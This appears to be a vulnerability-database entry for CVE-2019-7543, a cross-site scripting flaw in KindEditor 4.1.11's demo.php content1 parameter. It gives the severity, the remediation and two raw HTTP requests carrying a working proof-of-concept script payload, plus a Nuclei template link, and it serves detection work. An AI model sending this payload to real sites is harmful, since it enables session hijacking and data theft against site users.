🔙 목록으로 돌아가기

CVE-2019-7543: KindEditor 4.1.11 - Cross-Site Scripting

TitleKindEditor 4.1.11 - Cross-Site Scripting
Authorpikpikcu
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpgrade to a patched version of KindEditor or apply the necessary security patches provided by the vendor.
CVSS Score6.1
EPSS Score0.02849
CVE IDCVE-2019-7543
CWE IDCWE-79
Tags cve cve2019 kindeditor xss kindsoft vuln

🔍 Vulnerability Description

KindEditor 4.1.11 contains a cross-site scripting vulnerability via the php/demo.php content1 parameter.

🌐 HTTP Request

POST /kindeditor/php/demo.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.14
Connection: close
Content-Length: 101
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

content1=</script><script>alert(document.domain)</script>&button=%E6%8F%90%E4%BA%A4%E5%86%85%E5%AE%B9
POST /php/demo.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Content-Length: 101
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

content1=</script><script>alert(document.domain)</script>&button=%E6%8F%90%E4%BA%A4%E5%86%85%E5%AE%B9

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-7543.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-7543.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A